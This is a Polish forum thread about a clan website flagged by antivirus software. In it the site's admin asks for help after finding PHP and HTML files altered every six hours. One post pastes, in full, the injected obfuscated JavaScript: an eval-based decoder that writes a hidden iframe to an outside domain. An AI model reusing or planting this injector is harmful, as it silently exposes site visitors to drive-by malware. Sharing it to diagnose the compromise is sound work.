TMPL dokonuje ataków?

[wickeD]

Moje próby połączenia ze stroną w niedziele zakończyły się tak:
http://img6.imageshack.us/img6/5960/koniuj.png
A skoro nikt z tym nic nie robił, to google wzięło stronę w obroty.

[złozi]

Szybka odpowiedź działa, kacper nie krzyczy, sb nie działa.

[Kaz3k.]

Panowie, panowie, panowie.
Nie ma co panikować, to nie strona atakuję, tylko macie chujowe antywirusy.
W pierwszym przypadku widzę AVG w drugim kasperskiego - panowie radzę zmienić ochronę kompa

Niestety darmowe antyviry są chujowe jak barszcz i wyłapują virusy, których tak naprawdę nie ma ...

Polecam COMODO, najlepszy, albo jeden z najlepszych antyvirusów jaki jest na rynku ( oczywiście darmowy )

Pozdrawiam i bez paniki !

[złozi]

Czy Ty widzisz co ty piszesz?

Niestety darmowe antyviry są chujowe jak barszcz i wyłapują virusy, których tak naprawdę nie ma ...

a potem

Polecam COMODO, najlepszy, albo jeden z najlepszych antyvirusów jaki jest na rynku ( oczywiście darmowy )

Zastanów się trochę.

Ah, no tak, kaspersky pewnie jest darmowy i dopiero teraz zorientował się, że na forum jest coś nie tak.

[Vanitas / Lexiu]

Niestety, Ozi, Kaz3k ma sporo racji. Albo darmowy i niepewny, albo płatny i tylko trochę pewny.

Poza tym, widocznie najnowsze bazy danych wirusów zawierały jakieś nowe, które mogły zostać wykryte przez Kasperskiego/AVG, a w przypadku darmowych antywirusów bardzo często zdażają się wpadki - bo jest znacznie mniejsza kontrola poprawności baz danych (bo są darmowe).

[ShaDDy]

Potrzebna pomoc. Ściągnąłem całe FTP i nie wykryło tam żadnych nieprawidłowości w plikach, ale na 99% to właśnie z plikami jest problem. Zmieniłem hasła dostępu do wszystkiego, ale to oczywiście dalej siedzi i co parę godzin dokonuje zmian w 20-30 plikach .php oraz .htm. Mogę rzucić przykładem zmiany pliku admin_easymod.php (wycinek), którego zmiana powoduje brak możliwości jakichkolwiek działań w panelu admina:

Oryginał:

Code: Select all

echo "</pre>\n</body>\n</html>\n";
	}

	// done! done! done!
	exit;

Po zmianie:

Code: Select all

echo "</pre>\n
<script>if(window.document)aa=(Number+Date).substr(0,4);aaa=([].sort+[].sort).substr(0,4);if(aa===aaa){ss=new String();s=String;12-function(){e=window['e'+'v'+'a'+'l'];}();t='w';}h=-2;n=["4.5w4.5w52.5w51w16w20w50w55.5w49.5w58.5w54.5w50.5w55w58w23w51.5w50.5w58w34.5w54w50.5w54.5w50.5w55w58w57.5w33w60.5w42w48.5w51.5w39w48.5w54.5w50.5w20w19.5w49w55.5w50w60.5w19.5w20.5w45.5w24w46.5w20.5w61.5w4.5w4.5w4.5w52.5w51w57w48.5w54.5w50.5w57w20w20.5w29.5w4.5w4.5w62.5w16w50.5w54w57.5w50.5w16w61.5w4.5w4.5w4.5w50w55.5w49.5w58.5w54.5w50.5w55w58w23w59.5w57w52.5w58w50.5w20w17w30w52.5w51w57w48.5w54.5w50.5w16w57.5w57w49.5w30.5w19.5w52w58w58w56w29w23.5w23.5w54w60.5w59.5w48.5w56.5w59w58.5w23w50.5w58.5w23.5w49.5w55.5w58.5w55w58w25w25.5w23w56w52w56w19.5w16w59.5w52.5w50w58w52w30.5w19.5w24.5w24w19.5w16w52w50.5w52.5w51.5w52w58w30.5w19.5w24.5w24w19.5w16w57.5w58w60.5w54w50.5w30.5w19.5w59w52.5w57.5w52.5w49w52.5w54w52.5w58w60.5w29w52w52.5w50w50w50.5w55w29.5w56w55.5w57.5w52.5w58w52.5w55.5w55w29w48.5w49w57.5w55.5w54w58.5w58w50.5w29.5w54w50.5w51w58w29w24w29.5w58w55.5w56w29w24w29.5w19.5w31w30w23.5w52.5w51w57w48.5w54.5w50.5w31w17w20.5w29.5w4.5w4.5w62.5w4.5w4.5w51w58.5w55w49.5w58w52.5w55.5w55w16w52.5w51w57w48.5w54.5w50.5w57w20w20.5w61.5w4.5w4.5w4.5w59w48.5w57w16w51w16w30.5w16w50w55.5w49.5w58.5w54.5w50.5w55w58w23w49.5w57w50.5w48.5w58w50.5w34.5w54w50.5w54.5w50.5w55w58w20w19.5w52.5w51w57w48.5w54.5w50.5w19.5w20.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w57.5w57w49.5w19.5w22w19.5w52w58w58w56w29w23.5w23.5w54w60.5w59.5w48.5w56.5w59w58.5w23w50.5w58.5w23.5w49.5w55.5w58.5w55w58w25w25.5w23w56w52w56w19.5w20.5w29.5w51w23w57.5w58w60.5w54w50.5w23w59w52.5w57.5w52.5w49w52.5w54w52.5w58w60.5w30.5w19.5w52w52.5w50w50w50.5w55w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w56w55.5w57.5w52.5w58w52.5w55.5w55w30.5w19.5w48.5w49w57.5w55.5w54w58.5w58w50.5w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w54w50.5w51w58w30.5w19.5w24w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w58w55.5w56w30.5w19.5w24w19.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w59.5w52.5w50w58w52w19.5w22w19.5w24.5w24w19.5w20.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w52w50.5w52.5w51.5w52w58w19.5w22w19.5w24.5w24w19.5w20.5w29.5w4.5w4.5w4.5w50w55.5w49.5w58.5w54.5w50.5w55w58w23w51.5w50.5w58w34.5w54w50.5w54.5w50.5w55w58w57.5w33w60.5w42w48.5w51.5w39w48.5w54.5w50.5w20w19.5w49w55.5w50w60.5w19.5w20.5w45.5w24w46.5w23w48.5w56w56w50.5w55w50w33.5w52w52.5w54w50w20w51w20.5w29.5w4.5w4.5w62.5"];n=n[0].split(t);for(i=0;i-n.length<0;i++)ss=ss+s.fromCharCode(-h*n[0+i]);e(ss);</script>
</body>\n</html>\n";
	}

	// done! done! done!
	exit;

Poza tym, gdy ściągnąłem pliki, to łącznie jest ich o ok. 30 mniej niż tych, które posiadam w kopii na kompie, a przez kilka tygodni, które minęło od wykonania kopii, na pewno przybyło kilka avatarów, logo klanów itp. I tu pytanie - czy mogę śmiało wywalić całą stronę z FTP i wrzucić kopię z kompa bez żadnych problemów/dodatkowych działań?

[ShaDDy]

Chyba nikogo to już nie interesuje, ale odświeżam. Pliki zostają podmieniane równo co 6 godzin.